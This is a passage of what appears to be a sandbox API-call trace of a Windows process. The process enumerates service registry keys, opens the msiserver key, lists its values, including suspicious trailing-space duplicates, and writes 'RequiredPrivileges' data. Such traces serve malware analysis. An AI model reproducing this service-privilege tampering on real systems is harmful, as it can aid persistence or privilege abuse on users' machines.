lpName="ehRecvr") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0247.798] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0247.799] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0247.800] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0247.801] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0247.802] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0247.853] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0247.854] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0247.855] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0247.856] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0247.857] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.857] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0247.857] RegCloseKey (hKey=0x154) returned 0x0 [0247.857] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0247.857] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0247.857] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0247.858] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.858] RegCloseKey (hKey=0x80000002) returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0247.858] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0247.858] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.858] RegCloseKey (hKey=0x150) returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.859] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0247.859] RegCloseKey (hKey=0x154) returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.859] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.860] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.860] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.861] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0247.861] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.861] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.862] RegSetValueExA (in: hKey=0x154, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0247.862] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.862] 